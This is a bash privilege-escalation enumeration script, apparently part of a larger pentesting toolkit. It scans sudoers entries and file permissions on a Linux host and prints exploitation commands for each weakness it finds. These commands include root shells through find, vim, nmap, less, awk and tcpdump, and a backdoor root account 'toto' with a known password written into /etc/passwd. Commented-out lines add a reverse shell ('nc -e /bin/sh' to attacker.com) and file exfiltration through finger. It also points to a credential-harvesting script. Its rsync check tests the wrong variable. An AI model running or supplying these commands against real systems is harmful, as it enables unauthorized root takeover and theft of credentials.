sudowildcardchown=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "chown"`
if [ "$sudowildcardchown" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with chown was found in the suoders file: ${RESET} \n $sudowildcardchown"
echo -e "[-] File owner hijacking possible."
echo -e "[*] Exploit: /notes/file_owner_hijacking (chown).txt \n"
else
:
fi
##### tar file reference trick (file owner hijacking)
sudowildcardtar=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "tar"`
if [ "$sudowildcardtar" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with tar was found in the suoders file: ${RESET} \n $sudowildcardtar"
echo -e "[-] File owner hijacking possible."
echo -e "[*] Exploit: /notes/file_owner_hijacking (tar).txt \n"
else
:
fi
##### rsync file reference trick (file owner hijacking)
sudowildcardrsync=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "rsync"`
if [ "$sudowildcardtar" ]; then
echo -e "${BOLD}${GREEN} [+] Wildcard with rsync was found in the suoders file: ${RESET} \n $sudowildcardrsync"
echo -e "[-] File owner hijacking possible."
echo -e "[*] Exploit: /notes/file_owner_hijacking (rsync).txt \n"
else
:
fi
echo -e "${BOLD}${YELLOW}============ Checking for File permission hijacking ================== ${RESET} \n"
##### Chmod file reference trick(file permission hijacking)
sudowildcardchmod=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "chmod"`
if [ "$sudowildcardchmod" ]; then
echo -e "${BOLD}${GREEN} [+] Wildcard with chmod was found in the suoders file: ${RESET} \n $sudowildcardchmod"
echo -e "[-] File permission hijacking possible."
echo -e "[*] Exploit: /notes/file_permission_hijacking.txt \n"
else
:
fi
#### check for scripts execution without password in sudoers
echo -e "${BOLD}${YELLOW}============ Checking for Missing scripts from sudoers ================== ${RESET} \n"
current_user="$(whoami)"
groups > /tmp/groups.txt
sudo -S -l -k | sed 's/(root) //g' | sed 's/NOPASSWD: //g' | sed 's/,/\n/g' | sed -e 's/ *$//' | awk '$1=$1' | cut -d " " -f 1 | grep .sh > /tmp/script_list
echo -e "${BOLD}${GREEN}[+] The script/s found in sudoers can be found at: /tmp/script_list ${RESET}"
#### Check for missing scripts that exists in the sudoers file and whether the current user is the owner of directory
echo -e "[+] Checking whether there are any missing scripts defined in sudoers but that no longer exists on system:"
#echo -e "\n --------------------------------------------------------------"
cat /tmp/script_list | while read line
do
#test
#echo $line
# missing file/script
if [ ! -f $line ]; then
rep=$( echo "$line" | awk -F.sh '{print $1}' | rev | cut -d "/" -f 2,3,4,5,6,7 | rev | cut -d " " -f 2 )
echo -e "\n"
echo -e "------------------------------------------------------------------"
echo -e "[++] Missing script found:"
echo $line
echo -e "\n"
echo -e ">>> Checking Directory User Ownership of the missing script"
#### checking whether the current user is the owner of the directory and his rights
repexist=`echo '' | ls -ld $rep`
direc_user=$( echo "$repexist" | cut -d " " -f 3 )
# r- ls on directory / w- create file / x- access the directory
drights=$( echo "$repexist" | cut -d " " -f 1 )
# checking the owner of the directory is the current user
if [ "$current_user" == "$direc_user" ]
then
echo -e "${BOLD}${GREEN}[+] The current user is the directory owner of the missing file.${RESET}"
#### checking the permission on the directory that the owner/current user has
drightsr=${drights:1:1}
drightsw=${drights:2:1}
drightsx=${drights:3:1}
# echo $drightsr
# echo $drightsw
# echo $drightsx
msgright1="The current user has the right to: "
if [ "$drightsr" == "r" ]
then
msgright1+=" list since r (ls)"
fi
if [ "$drightsw" == "w" ]
then
msgright1+=", access w (cd) "
fi
if [ "$drightsx" == "x" ]
then
msgright1+=" and x create/move file/directory"
fi
#msgright1+=$line
echo -e "[-] $msgright1"
echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt and /notes/Excessive_directory_rights.txt \n"
else
echo -e "[-] The user $direc_user is the directory owner of the missing file. \n"
fi # current user
echo -e ">>> Checking Directory Group Ownership of the missing scripts"
# checking whether the current user is part of the group owner of the directory
direc_grp=$( echo "$repexist" | cut -d " " -f 4 )
cat /tmp/groups.txt | while read line1
do
if [ "$line1" == "$direc_grp" ]
then
echo -e "${BOLD}${GREEN}[+] The current user is in a group that is the directory owner of the missing file.${RESET}"
dgrightsr=${drights:4:1}
dgrightsw=${drights:5:1}
dgrightsx=${drights:6:1}
msgright="The current user is in a group which can "
if [ "$dgrightsr" == "r" ]
then
msgright+="list since r (ls)"
fi
if [ "$dgrightsw" == "w" ]
then
msgright+=", access w (cd) "
fi
if [ "$dgrightsx" == "x" ]
then
msgright+=" and x create/move file/directory. \n"
fi
#msgright+=$line
echo -e "[-] $msgright"
echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt "
#echo -e "-------------------------------------------------------"
break
fi
done
fi # check file missing
done
echo -e "\n"
echo -e "${BOLD}${YELLOW}============ Checking for Excessive directory right where the scripts from sudoers reside ================== ${RESET} \n"
echo -e "${BOLD}${GREEN}[+] The script/s found in sudoers can be found at: /tmp/script_list.txt ${RESET}"
echo -e "-------------------------------------------------------"
cat /tmp/script_list | while read liney
do
####### [DIRECTORY]
# checking the directory rights of the scripts identified in sudo
if [ -f $liney ]; then
rep1=$( echo "$liney" | awk -F.sh '{print $1}' | rev | cut -d "/" -f 2,3,4,5,6,7 | rev | cut -d " " -f 2 )
echo -e "\n"
echo "[++] Checking the directory rights for the script:"
echo "$liney"
echo -e "\n"
echo -e ">>> Checking Directory User Ownership of the scripts"
#### checking whether the current user is the owner of the directory and his rights
repexist1=`echo '' | ls -ld $rep1`
direc_user1=$( echo "$repexist1" | cut -d " " -f 3 )
# r- ls on directory / w- create file / x- access the directory
drights1=$( echo "$repexist1" | cut -d " " -f 1 )
# checking the owner of the directory is the current user
if [ "$current_user" == "$direc_user1" ]
then
echo -e "${BOLD}${GREEN}[+] The current user is the directory owner of the script.${RESET}"
#### checking the permission on the directory that the owner/current user has
drightsr1=${drights1:1:1}
drightsw1=${drights1:2:1}
drightsx1=${drights1:3:1}
msgright2="The current user has the right to: "
if [ "$drightsr1" == "r" ]
then
msgright2+=" list since r (ls)"
fi
if [ "$drightsw1" == "w" ]
then
msgright2+=", access w (cd) "
fi
if [ "$drightsx1" == "x" ]
then
msgright2+="and x create/move file/directory "
fi
#msgright2+="for the script : \n"
#msgright2+=$liney
echo -e "[-] $msgright2"
echo -e "[*] Exploit, refer to /notes/Excessive_directory_rights.txt \n"
else
echo -e "[-] The user $direc_user1 is the directory owner of the missing file. \n"
fi # current user
echo -e ">>> Checking Directory Group Ownership of the scripts"
# checking whether the current user is part of the group owner of the directory
direc_grp1=$( echo "$repexist1" | cut -d " " -f 4 )
cat /tmp/groups.txt | while read linet
do
if [ "$linet" == "$direc_grp1" ]
then
echo -e "${BOLD}${GREEN}[+] The current user is in a group that is the directory owner of the script.${RESET}"
dgrightsr1=${drights1:4:1}
dgrightsw1=${drights1:5:1}
dgrightsx1=${drights1:6:1}
msgright3="The current user is in a group which can "
if [ "$dgrightsr1" == "r" ]
then
msgright3+="list since r (ls)"
fi
if [ "$dgrightsw1" == "w" ]
then
msgright3+=", access w (cd) "
fi
if [ "$dgrightsx1" == "x" ]
then
msgright3+=" and x create/move file/directory. "
fi
#msgright3+=$liney
echo -e "[-] $msgright3"
echo -e "[*] Exploit, refer to /notes/Excessive_directory_rights.txt \n"
break
fi
done
echo -e " \n ------------------------------------------------"
fi
done
# clear the scripts list
# rm /tmp/sh_list.txt
echo -e "${BOLD}${YELLOW}============ Checking for Writable scripts from sudoers ================== ${RESET} \n"
####### [FILE]
##### Check for writable scripts by current users from the sudoers file
#current_user="$(whoami)"
#current_groups="$(groups)"
#groups > /tmp/groups.txt
#sudo -S -l -k | grep .sh | sed 's/(root) //g' | sed 's/NOPASSWD: //g' | sed 's/,/\n/g' | tr -d " \t\r" | grep ".sh" > /tmp/sh_list.txt
cat /tmp/script_list | while read linex
do
# if script exist
if [[ -f ${linex} ]]; then
# owner of each file/script
owner_file=`echo '' | ls -l $linex | cut -d " " -f 3 2>/dev/null`
shperms=$( ls -l "$linex" )
if [ "$current_user" == "$owner_file" ]
then
echo -e ">>> Checking current user permission on the scripts owned by him \n"
echo -e "Checking the following script: $linex"
#echo -e "\n"
msgfp="The current user can "
#shperms=$( ls -l "$linex" )
#perm_user=$( echo "$shperms" | cut -d "-" -f 2 )
frightsr=${shperms:1:1}
frightsw=${shperms:2:1}
frightsx=${shperms:3:1}
if [[ $frightsr = "r" ]]
then
msgfp+="read the file (r), "
fi # perms
if [[ $frightsw = "w" ]]
then
msgfp+="modify the file (w), "
fi # perms
if [[ $frightsx = "x" ]]
then
msgfp+="and can execute the file (x)"
fi # perms
msgfp+=" for the script $linex"
echo -e "${BOLD}${GREEN}[+] $msgfp${RESET} \n"
# clear var
owner_file="nothing"
fi # user owner check
#############################################################
# checking whether the current user is part of the group owner of the directory
direc_grp1=$( echo "$shperms" | cut -d " " -f 4 )
#echo $shperms
#echo $direc_grp1
cat /tmp/groups.txt | while read line2
do
if [ "$line2" == "$direc_grp1" ]
then
echo -e ">>> Checking current user group ownership of the script \n"
#echo -e ">>> Checking current user group permission on file \n"
echo -e "${BOLD}${GREEN}[-] The current user is part of a group or several groups that is the owner of the script, the groups are: $line2${RESET}"
#echo -e "[-] The current user is in a group that is the file owner of the script."
# echo -e "[+] Exploit, refer to /notes/owner_direc_missing_file.txt "
# drightsgrp=${drights:5:3}
fgrightsr=${shperms:4:1}
fgrightsw=${shperms:5:1}
fgrightsx=${shperms:6:1}
msgfgright="The current user can "
if [ "$fgrightsr" == "r" ]
then
msgfgright+="read the file (r), "
fi
if [ "$fgrightsw" == "w" ]
then
msgfgright+="modify the file (w), "
fi
if [ "$fgrightsx" == "x" ]
then
msgfgright+="and can execute the file (x). "
fi
msgfgright+=$linex
direc_grp1="nothing"
#if [[ $drightsgrp = "rwx" ]]
# then
# echo -e "[-] $drightsgrp > The current user is in a group which can list if r (ls), access w (cd) and x create/move file/directory in the directory $line."
echo -e "[+] $msgfgright"
echo -e "[*] Exploit, refer to /notes/owner_direc_missing_file.txt \n"
#fi # permission
# break
fi # group owner check
done
fi # exists
done
echo -e "${BOLD}${YELLOW}============ Checking whether vulnerable to Credential Harvesting ================== ${RESET} \n"
echo "Current User: $current_user"
current_user="$(whoami)"
#echo $current_user
#hdir=`echo "" | ls -ld /home/*`
#echo "$hdir"
hdir=`echo "" | ls -al /home/*/.bashrc`
#echo "$hdir"
while read -r line; do
current=$line
wo=${current:2:1}
wg=${current:5:1}
wa=${current:8:1}
dir_user=$( echo "$current" | cut -d " " -f 3 )
#echo $dir_user
if [ "$current_user" == "$dir_user" ]
then
#echo $wo
#echo $wa
if [ "$wo" == "w" ]
then
# echo "Current user is the owner and can write the bashrc file"
echo -e "${BOLD}${GREEN}[+] Vulnerable to Creds Harvesting. ${RESET}"
echo "[*] Exploit, refer to the exploit /exploits/credHarvest.sh"
fi
if [ "$wa" == "w" ]
then
# echo "Current user can write the bashrc file"
echo -e "${BOLD}${GREEN}[+] Vulnerable to Creds Harvesting. ${RESET}"
echo "[*] Exploit, refer to the exploit /exploits/credHarvest.sh"
fi
# echo $line
fi # check owner
done <<< "$hdir"
#rm /tmp/sh_list1.txt
}
checkdangenvar()
{
##### Check for dangerous environment variables
echo -e "${BOLD}${YELLOW}============ Checking for Dangerous environment variables ================== ${RESET} \n"
sudoenv=`echo '' | sudo -S -l -k 2>/dev/null | grep "!env_reset" `
if [ "$sudoenv" ]; then
echo -e "${BOLD}${GREEN}[+] env_reset is disabled, This means we can manipulate the environment of the command we are allowed to run (depending on sudo version).${RESET}"
rm /tmp/env_remove.txt
echo -e "[-] check the environment variables blacklist, /tmp/env_remove.txt"
echo -e "[-] Exploit of LD_PRELOAD and PS4: /notes/env_exploit.txt"
sudo -V | sed -n '/Environment variables removed:/,/Environment/p' >> /tmp/env_remove.txt
sed -i '1d' /tmp/env_remove.txt
sed -i '$d' /tmp/env_remove.txt
echo -e "${BOLD}${GREEN}[+] Check sudo version, since sudo < 1.8.5 environment variables are not removed and CVE-2014-0106 refer to: /exploits/CVE-2014-0106.txt ${RESET}\n"
else
:
fi
sudoenvld_preload=`echo '' | sudo -S -l -k 2>/dev/null | grep "LD_PRELOAD" `
if [ "$sudoenvld_preload" ]; then
echo -e "${BOLD}${GREEN}[+] LD_PRELOAD is set and is a dangerous environment.${RESET}"
rm /tmp/env_remove.txt
echo -e "[-] check the environment variables blacklist, /tmp/env_remove.txt"
echo -e "[-] Exploit of LD_PRELOAD : /notes/env_exploit.txt"
sudo -V | sed -n '/Environment variables removed:/,/Environment/p' >> /tmp/env_remove.txt
sed -i '1d' /tmp/env_remove.txt
sed -i '$d' /tmp/env_remove.txt
echo -e "${BOLD}${GREEN}[+] Check sudo version, since sudo < 1.8.5 environment variables are not removed and CVE-2014-0106 refer to: /exploits/CVE-2014-0106.txt ${RESET} \n"
else
:
fi
sudodangenv=`echo '' | sudo -S -l -k 2>/dev/null | grep "PERL5OPT\|PYTHONINSPECT" `
if [ "$sudodangenv" ]; then
echo -e "${BOLD}${GREEN}[+] Check for dangerous environment variables such as LD_PRELOAD, PS4, PERL5OPT, PYTHONINSPECT,... .${RESET}"
rm /tmp/env_remove.txt
echo -e "[-] check the environment variables blacklist, /tmp/env_remove.txt"
sudo -V | sed -n '/Environment variables removed:/,/Environment/p' >> /tmp/env_remove.txt
sed -i '1d' /tmp/env_remove.txt
sed -i '$d' /tmp/env_remove.txt
echo -e "${BOLD}${GREEN}[+] Check sudo version, since sudo < 1.8.5 environment variables are not removed and CVE-2014-0106 refer to: /exploits/CVE-2014-0106.txt ${RESET} \n"
else
:
fi
}
checkdangbin()
{
##### Check for dangerous bin
function fn_dngbin ()
{
var1=""
var1=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "$2$1"`
if [ "$var1" ]; then
echo -e "[+] Sudo $1, was found "
echo -e "Run the following commands :"
if [ -z "$3" ]
then
:
else
echo "$3"
fi
if [ -z "$4" ]
then
:
else
echo "$4"
fi
if [ -z "$5" ]
then
:
else
echo "$5"
fi
if [ -z "$6" ]
then
:
else
echo "$6"
fi
if [ -z "$7" ]
then
:
else
echo "$7"
fi
echo -e "\n"
else
:
fi
}
function fn_dngbin2 ()
{
var2=""
var2=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "bin/$1"`
if [ "$var2" ]; then
echo -e "[+] Sudo $1, was found "
echo -e "Run the following commands :"
resgrep=`echo '' | cat exploits/"$1".txt | grep -v "\* Sudo \*"`
echo -e "$resgrep"
echo -e "\n"
else
:
fi
}
# echo -e "\n"
echo -e "${BOLD}${YELLOW}============ Checking for Dangerous bin from sudoers ================== ${RESET} \n"
# fn_dngbin "BIN_NAME" "PATH" "CMD_LINE_1" "CMD_LINE_2" "CMD_LINE_3" "CMD_LINE_4"
echo -e "${BOLD}${GREEN}[+] Common dangerous bins: ${RESET}"
fn_dngbin "find" "/usr/bin/" "[=] sudo find /etc/passwd -exec /bin/sh \;"
fn_dngbin "nano" "/usr/bin/" "[=] if find exists, then sudo find /bin -name nano -exec /bin/sh \;"
fn_dngbin "nano" "/usr/bin/" "[=] A text editor with root priv can be used to modify the passwd file so as " "to add a user with root priv. add the below line into the /etc/passwd file using >> sudo nano /etc/passwd" "toto:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash" "su - toto , username: toto password: test"
fn_dngbin "vim" "/usr/bin/" "[=] sudo vim -c '!sh'"
fn_dngbin "vim" "/usr/bin/" "[=] A text editor with root priv can be used to modify the passwd file so as " "to add a user with root priv. add the below line into the /etc/passwd file using >> sudo vim /etc/passwd" "toto:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash" "su - toto , username: toto password: test"
fn_dngbin "nmap" "/usr/bin/" "[=] Old way, sudo nmap --interactive" "then !sh" "[+] New way, echo 'os.execute('/bin/sh') > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse'"
fn_dngbin "man" "/usr/bin/" "[=] sudo man man" "[+] !sh"
fn_dngbin "less" "/usr/bin/" "[=] sudo less /etc/hosts" "then !sh" " can also be used to read a file > sudo less :e /etc/passwd or sudo less :n /var/log/dmesg /etc/shadow" "check /web res/Dangerous Sudoers Entries – PART 2/4: Insecure Functionality – Compass Security Blog.html"
fn_dngbin "more" "/usr/bin/" "[=] sudo more /etc/hosts" "then !sh"
fn_dngbin "awk" "/usr/bin/" "[=] sudo awk 'BEGIN {system('""/bin/sh""')}'"
fn_dngbin "vi" "/usr/bin/" "[=] A text editor with root priv can be used to modify the passwd file so as " "to add a user with root priv. add the below line into the /etc/passwd file using >> sudo vi /etc/passwd" "toto:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash" "su - toto , username: toto password: test"
fn_dngbin "wget" "/usr/bin/" "[=] Copy the /etc/passwd file of the target then transfert by an means to the attack box" "Modify the /etc/passwd file stolen to add the line below: " "toto:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash" "username: toto password: test, Launch a web server and transferred the modified /etc/passwd file, sudo wget http://[IP]:8585/passwd -O /etc/passwd then su - toto "
fn_dngbin "tcpdump" "/usr/sbin/" "[=] create a script in /tmp/script.sh" "#! /bin/bash" "bash" "Run the command: sudo -u [USER] /usr/sbin/tcpdump -ln -i ens32 -w /dev/null -W 1 -G 1 -z /tmp/script.sh"
fn_dngbin "bash" "/usr/bin/" "[=] run sudo -u [user] /bin/bash"
# GTFOBINS - https://gtfobins.github.io/#+sudo
#fn_dngbin "apt-get" "/usr/bin/" "[=] sudo apt-get changelog apt" "!/bin/sh"
#fn_dngbin "apt" "/usr/bin/" "[=] sudo apt-get changelog apt" "!/bin/sh"
#fn_dngbin "aria2c" "/usr/bin/" "[=] COMMAND='id'" "TF=$(mktemp)" "echo "$COMMAND" > $TF" "chmod +x $TF" "sudo aria2c --on-download-error=$TF http://x"
#fn_dngbin "ash" "/usr/bin/" "[=] sudo ash"
echo -e "[-] dangerous bins (https://gtfobins.github.io/#+sudo): "
fn_dngbin2 "apt"
fn_dngbin2 "apt-get"
fn_dngbin2 "aria2c"
fn_dngbin2 "ash"
fn_dngbin2 "awk"
fn_dngbin2 "base64"
fn_dngbin2 "bash"
fn_dngbin2 "busybox"
fn_dngbin2 "cat"
fn_dngbin2 "chmod"
fn_dngbin2 "chown"
fn_dngbin2 "cp"
fn_dngbin2 "cpulimit"
fn_dngbin2 "crontab"
fn_dngbin2 "csh"
fn_dngbin2 "curl"
fn_dngbin2 "cut"
fn_dngbin2 "dash"
fn_dngbin2 "date"
fn_dngbin2 "dd"
fn_dngbin2 "diff"
fn_dngbin2 "docker"
fn_dngbin2 "ed"
fn_dngbin2 "emacs"
fn_dngbin2 "env"
fn_dngbin2 "expand"
fn_dngbin2 "expect"
fn_dngbin2 "facter"
fn_dngbin2 "find"
fn_dngbin2 "finger"
fn_dngbin2 "flock"
fn_dngbin2 "fmt"
fn_dngbin2 "fold"
fn_dngbin2 "ftp"
fn_dngbin2 "gdb"
fn_dngbin2 "git"
fn_dngbin2 "head"
fn_dngbin2 "ionice"
fn_dngbin2 "jq"
fn_dngbin2 "ksh"
fn_dngbin2 "ld.so"
fn_dngbin2 "less"
fn_dngbin2 "ltrace"
fn_dngbin2 "lua"
fn_dngbin2 "mail"
fn_dngbin2 "make"
fn_dngbin2 "man"
fn_dngbin2 "more"
fn_dngbin2 "mount"
fn_dngbin2 "mv"
fn_dngbin2 "mysql"
fn_dngbin2 "nano"
fn_dngbin2 "nc"
fn_dngbin2 "nice"
fn_dngbin2 "nl"
fn_dngbin2 "nmap"
fn_dngbin2 "node"
fn_dngbin2 "od"
fn_dngbin2 "perl"
fn_dngbin2 "pg"
fn_dngbin2 "php"
fn_dngbin2 "pico"
fn_dngbin2 "pip"
fn_dngbin2 "puppet"
fn_dngbin2 "python2"
fn_dngbin2 "python3"
fn_dngbin2 "red"
fn_dngbin2 "rlwrap"
fn_dngbin2 "rpm"
fn_dngbin2 "rpmquery"
fn_dngbin2 "rsync"
fn_dngbin2 "ruby"
fn_dngbin2 "scp"
fn_dngbin2 "sed"
fn_dngbin2 "setarch"
fn_dngbin2 "sftp"
fn_dngbin2 "shuf"
fn_dngbin2 "smbclient"
fn_dngbin2 "socat"
fn_dngbin2 "sort"
fn_dngbin2 "sqlite3"
fn_dngbin2 "ssh"
fn_dngbin2 "stdbuf"
fn_dngbin2 "strace"
fn_dngbin2 "tail"
fn_dngbin2 "tar"
fn_dngbin2 "taskset"
fn_dngbin2 "tclsh"
fn_dngbin2 "tcpdump"
fn_dngbin2 "tee"
fn_dngbin2 "telnet"
fn_dngbin2 "tftp"
fn_dngbin2 "time"
fn_dngbin2 "timeout"
fn_dngbin2 "ul"
fn_dngbin2 "unexpand"
fn_dngbin2 "uniq"
fn_dngbin2 "unshare"
fn_dngbin2 "vi"
fn_dngbin2 "vim"
fn_dngbin2 "watch"
fn_dngbin2 "wget"
fn_dngbin2 "whois"
fn_dngbin2 "wish"
fn_dngbin2 "xargs"
fn_dngbin2 "xxd"
fn_dngbin2 "zip"
fn_dngbin2 "zsh"
# fn_dngbin "apt" "/usr/bin/" "[=] sudo apt-get changelog apt” “!/bin/sh”
# fn_dngbin "apt-get" "/usr/bin/" "[=] sudo apt-get changelog apt” “!/bin/sh”
# fn_dngbin "aria2c" "/usr/bin/" "[=] sudo COMMAND='id'“ “TF=$(mktemp)” “echo \"$COMMAND\" > $TF” “chmod +x $TF” “aria2c --on-download-error=$TF http://x”
# fn_dngbin "ash" "/usr/bin/" "[=] sudo ash”
# fn_dngbin "awk" "/usr/bin/" "[=] sudo awk 'BEGIN {system(\"/bin/sh\")}'“
# fn_dngbin "base64" "/usr/bin/" "[=] sudo LFILE=file_to_read” “base64 \"$LFILE\" | base64 --decode”
# fn_dngbin "bash" "/usr/bin/" "[=] sudo bash”
# fn_dngbin "busybox" "/usr/bin/" "[=] sudo busybox sh”
# fn_dngbin "cat" "/usr/bin/" "[=] sudo LFILE=file_to_read” “cat \"$LFILE\"“
# fn_dngbin "chmod" "/usr/bin/" "[=] sudo LFILE=file_to_change” “sudo chmod 0777 $LFILE”
# fn_dngbin "chown" "/usr/bin/" "[=] sudo LFILE=file_to_change” “sudo chown $(id -un):$(id -gn) $LFILE”
# fn_dngbin "cp" "/usr/bin/" "[=] sudo LFILE=file_to_write” “TF=$(mktemp)” “echo \"DATA\" > $TF” “sudo cp $TF $LFILE”
# fn_dngbin "cpulimit" "/usr/bin/" "[=] sudo cpulimit -l 100 -f /bin/sh”
# fn_dngbin "crontab" "/usr/bin/" "[=] sudo crontab -e”
# fn_dngbin "csh" "/usr/bin/" "[=] sudo csh”
# fn_dngbin "curl" "/usr/bin/" "[=] sudo LFILE=/tmp/file_to_read” “curl file://$LFILE”
# fn_dngbin "cut" "/usr/bin/" "[=] sudo LFILE=file_to_read” “cut -d \"\" -f1 \"$LFILE\"“
# fn_dngbin "dash" "/usr/bin/" "[=] sudo dash”
# fn_dngbin "date" "/usr/bin/" "[=] sudo LFILE=file_to_read” “date -f $LFILE”
# fn_dngbin "dd" "/usr/bin/" "[=] sudo LFILE=file_to_write” “echo \"DATA\" | dd of=$LFILE”
# fn_dngbin "diff" "/usr/bin/" "[=] sudo LFILE=file_to_read” “diff --line-format=%L /dev/null $LFILE”
# #fn_dngbin "docker" "/usr/bin/" "[=] sudo docker run --rm -v /home/$USER:/h_docs ubuntu \\” “ sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p” "check /exploits/docker"
# fn_dngbin "ed" "/usr/bin/" "[=] sudo ed” “!/bin/sh”
# fn_dngbin "emacs" "/usr/bin/" "[=] sudo emacs -Q -nw --eval '(term \"/bin/sh\")'“
# fn_dngbin "env" "/usr/bin/" "[=] sudo env /bin/sh”
# fn_dngbin "expand" "/usr/bin/" "[=] sudo LFILE=file_to_read” “expand \"$LFILE\"“
# #fn_dngbin "expect" "/usr/bin/" "[=] sudo expect -c 'spawn /bin/sh;interact'“
# #fn_dngbin "facter" "/usr/bin/" "[=] sudo TF=$(mktemp -d)” “echo 'exec(\"/bin/sh\")' > $TF/x.rb” “FACTERLIB=$TF facter”
# fn_dngbin "find" "/usr/bin/" "[=] sudo find . -exec /bin/sh \\; -quit”
# fn_dngbin "finger" "/usr/bin/" "[=] sudo RHOST=attacker.com” “LFILE=file_to_send” “finger \"$(base64 $LFILE)@$RHOST\"“
# fn_dngbin "flock" "/usr/bin/" "[=] sudo flock -u / /bin/sh”
# fn_dngbin "fmt" "/usr/bin/" "[=] sudo LFILE=file_to_read” “fmt -pNON_EXISTING_PREFIX \"$LFILE\"“
# fn_dngbin "fold" "/usr/bin/" "[=] sudo LFILE=file_to_read” “fold -w99999999 \"$LFILE\"“
# fn_dngbin "ftp" "/usr/bin/" "[=] sudo ftp” “!/bin/sh”
# fn_dngbin "gdb" "/usr/bin/" "[=] sudo gdb -nx -ex '!sh' -ex quit”
# fn_dngbin "git" "/usr/bin/" "[=] sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help”
# fn_dngbin "head" "/usr/bin/" "[=] sudo LFILE=file_to_read” “head -c1G \"$LFILE\"“
# fn_dngbin "ionice" "/usr/bin/" "[=] sudo ionice /bin/sh”
# fn_dngbin "jq" "/usr/bin/" "[=] sudo LFILE=file_to_read” “jq -Rr . \"$LFILE\"“
# fn_dngbin "ksh" "/usr/bin/" "[=] sudo ksh”
# fn_dngbin "ld.so" "/usr/bin/" "[=] sudo /lib/ld.so /bin/sh”
# fn_dngbin "less" "/usr/bin/" "[=] sudo less /etc/profile” “!/bin/sh”
# fn_dngbin "ltrace" "/usr/bin/" "[=] sudo ltrace -b -L /bin/sh”
# fn_dngbin "lua" "/usr/bin/" "[=] sudo lua -e 'os.execute(\"/bin/sh\")'“
# fn_dngbin "mail" "/usr/bin/" "[=] sudo TF=$(mktemp)” “echo \"From nobody@localhost $(date)\" > $TF” “mail -f $TF” “!/bin/sh”
# fn_dngbin "make" "/usr/bin/" "[=] sudo COMMAND='/bin/sh'“ “make -s --eval=$'x:\” “\\t-'\"$COMMAND\"“
# fn_dngbin "man" "/usr/bin/" "[=] sudo man man” “!/bin/sh”
# fn_dngbin "more" "/usr/bin/" "[=] sudo TERM= more /etc/profile” “!/bin/sh”
# fn_dngbin "mount" "/usr/bin/" "[=] sudo sudo mount -o bind /bin/sh /bin/mount” “sudo mount”
# fn_dngbin "mv" "/usr/bin/" "[=] sudo LFILE=file_to_write” “TF=$(mktemp)” “echo \"DATA\" > $TF” “sudo mv $TF $LFILE”
# fn_dngbin "mysql" "/usr/bin/" "[=] sudo mysql -e '\\! /bin/sh'“
# # fn_dngbin "nano" "/usr/bin/" "[=] sudo TF=$(mktemp)” “echo 'exec sh' > $TF” “chmod +x $TF” “nano -s $TF /etc/hosts” “^T”
# fn_dngbin "nc" "/usr/bin/" "[=] sudo RHOST=attacker.com” “RPORT=12345” “sudo nc -e /bin/sh $RHOST $RPORT”
# fn_dngbin "nice" "/usr/bin/" "[=] sudo nice /bin/sh”
# fn_dngbin "nl" "/usr/bin/" "[=] sudo LFILE=file_to_read” “nl -bn -w1 -s '' $LFILE”
# fn_dngbin "nmap" "/usr/bin/" "[=] sudo TF=$(mktemp)” “echo 'os.execute(\"/bin/sh\")' > $TF” “nmap --script=$TF”
# fn_dngbin "node" "/usr/bin/" "[=] sudo node -e 'require(\"child_process\").spawn(\"/bin/sh\” {stdio [0, 1, 2]});'“
# fn_dngbin "od" "/usr/bin/" "[=] sudo LFILE=file_to_read” “od -An -c -w9999 \"$LFILE\"“
# fn_dngbin "perl" "/usr/bin/" "[=] sudo perl -e 'exec \"/bin/sh\";'“
# fn_dngbin "pg" "/usr/bin/" "[=] sudo pg /etc/profile” “!/bin/sh”
# fn_dngbin "php" "/usr/bin/" "[=] sudo export CMD=\"/bin/sh\"“ “php -r 'system(getenv(\"CMD\"));'“
# fn_dngbin "pico" "/usr/bin/" "[=] sudo TF=$(mktemp)” “echo 'exec sh' > $TF” “chmod +x $TF” “pico -s $TF /etc/hosts” “^T”
# fn_dngbin "pip" "/usr/bin/" "[=] sudo TF=$(mktemp -d)” “echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl(\"/bin/sh\” \"sh\")' > $TF/setup.py” “pip install $TF”
# fn_dngbin "puppet" "/usr/bin/" "[=] sudo puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"' }\"“
# fn_dngbin "python2" "/usr/bin/" "[=] sudo python2 -c 'import os; os.system(\"/bin/sh\")'“
# fn_dngbin "python3" "/usr/bin/" "[=] sudo python3 -c 'import os; os.system(\"/bin/sh\")'“
# fn_dngbin "red" "/usr/bin/" "[=] sudo red file_to_write” “a” “DATA” “.” “w” “q”
# fn_dngbin "rlwrap" "/usr/bin/" "[=] sudo rlwrap /bin/sh”
# fn_dngbin "rpm" "/usr/bin/" "[=] sudo rpm --eval '%{lua:posix.exec(\"/bin/sh\")}'“
